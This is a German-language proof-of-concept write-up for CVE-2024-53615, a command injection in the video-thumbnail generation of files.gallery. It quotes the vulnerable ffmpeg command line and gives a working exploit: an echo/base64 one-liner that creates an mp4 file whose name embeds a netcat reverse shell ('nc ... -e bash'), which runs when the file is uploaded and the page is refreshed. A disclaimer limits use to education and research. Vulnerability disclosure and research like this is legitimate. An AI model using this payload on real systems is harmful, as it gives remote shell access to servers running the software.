
CVE-2024-53615
Eine Schwachstelle zur Befehlsinjektion in der Komponente zur Erzeugung von Videovorschaubildern von Karl Wards files.gallery v0.3.0 bis 0.11.0 ermöglicht es Remote-Angreifern, über eine präparierte Videodatei beliebigen Code auszuführen.
Voraussetzungen:
ffmpeg im PATHconfig.php: 'allow_upload' => trueexec muss in der PHP-Konfiguration aktiviert seinDie Schwachstelle befindet sich in der folgenden Zeile (aus Version 0.9.12), die Videovorschauen erzeugt:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Da $this->path vom Benutzer kontrollierbar ist, können wir eine bösartige Datei konstruieren, deren Titel eine Bash-Befehlssubstitution ist. Wichtig ist, dass diese Datei z. B. die mp4-Magic-Bytes enthalten muss und deren Dateiname auf .mp4 enden muss:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Wenn wir diese Datei hochladen und die Seite aktualisieren, damit die Anwendung die Datei lädt, erhalten wir eine Shell auf unserem lokalen Rechner.
Hinweis: Der Befehl ist im Dateinamen gespeichert, daher sind Reverse-Shell-Möglichkeiten aufgrund von Längenbeschränkungen des Dateinamens begrenzt.
Dieses Repository dient ausschließlich zu Bildungs- und Forschungszwecken.
Warnung vor Missbrauch: Die Verwendung dieses Tools für unbefugte oder böswillige Aktivitäten ist strengstens untersagt und kann gegen lokale, staatliche oder internationale Gesetze verstoßen. Der Autor übernimmt keine Verantwortung für Missbrauch dieses Codes.
Hol dir immer eine ordnungsgemäße Genehmigung ein, bevor du dieses Tool in irgendeiner Umgebung einsetzt. Durch die Nutzung dieses Projekts erklärst du dich damit einverstanden, es verantwortungsvoll und ethisch zu verwenden.